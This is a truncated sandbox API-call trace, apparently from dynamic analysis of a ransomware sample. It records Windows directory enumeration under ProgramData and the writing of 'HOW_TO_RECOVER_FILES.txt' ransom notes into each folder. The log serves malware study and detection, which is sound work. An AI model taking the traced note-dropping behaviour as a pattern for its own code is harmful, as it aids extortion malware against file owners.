[0092.916] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0092.916] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.917] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.917] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0092.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0092.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0092.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0092.917] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles", lpFilePart=0x0) returned 0x2b [0092.917] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0092.917] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.917] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.917] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0092.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0092.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0092.918] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0092.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0092.918] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\wwansvc\\dmprofiles\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0093.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea830) returned 1 [0093.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0093.559] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x29 [0093.559] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.559] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.560] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.560] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0093.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0093.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0093.560] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x29 [0093.560] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.560] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.560] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.560] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0093.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0093.561] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0093.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0093.561] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0093.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea830) returned 1 [0093.564] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0093.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0093.564] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\wwansvc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0093.564] GetFileType (hFile=0x7b4) returned 0x1 [0093.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0093.564] GetFileType (hFile=0x7b4) returned 0x1 [0093.565] WriteFile (in: hFile=0x7b4, lpBuffer=0x3528f28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3528f28*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0093.566] CloseHandle (hObject=0x7b4) returned 1 [0093.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0093.567] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\XboxLive", lpFilePart=0x0) returned 0x21 [0093.567] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.567] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.567] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NSALCache", cAlternateFileName="NSALCA~1")) returned 1 [0093.568] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NSALCache", cAlternateFileName="NSALCA~1")) returned 0 [0093.568] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0093.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0093.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0093.568] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\XboxLive", lpFilePart=0x0) returned 0x21 [0093.568] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.568] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.568] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NSALCache", cAlternateFileName="NSALCA~1")) returned 1 [0093.569] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.569] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0093.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0093.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0093.569] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\NSALCache", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\XboxLive\\NSALCache", lpFilePart=0x0) returned 0x2b [0093.569] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\NSALCache\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.569] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.570] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.570] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0093.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0093.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0093.570] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\NSALCache", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\XboxLive\\NSALCache", lpFilePart=0x0) returned 0x2b [0093.570] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\NSALCache\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.570] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.570] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.570] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0093.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0093.571] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\NSALCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\XboxLive\\NSALCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0093.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0093.571] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\NSALCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\xboxlive\\nsalcache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0093.572] GetFileType (hFile=0x7b4) returned 0x1 [0093.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0093.572] GetFileType (hFile=0x7b4) returned 0x1 [0093.572] WriteFile (in: hFile=0x7b4, lpBuffer=0x3554f38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3554f38*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0093.573] CloseHandle (hObject=0x7b4) returned 1 [0093.574] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\XboxLive\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0093.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0093.574] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\XboxLive\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\xboxlive\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0093.574] GetFileType (hFile=0x7b4) returned 0x1 [0093.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0093.574] GetFileType (hFile=0x7b4) returned 0x1 [0093.575] WriteFile (in: hFile=0x7b4, lpBuffer=0x3558770*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3558770*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0093.576] CloseHandle (hObject=0x7b4) returned 1 [0093.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0093.576] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DataMart", lpFilePart=0x0) returned 0x21 [0093.576] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.577] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, 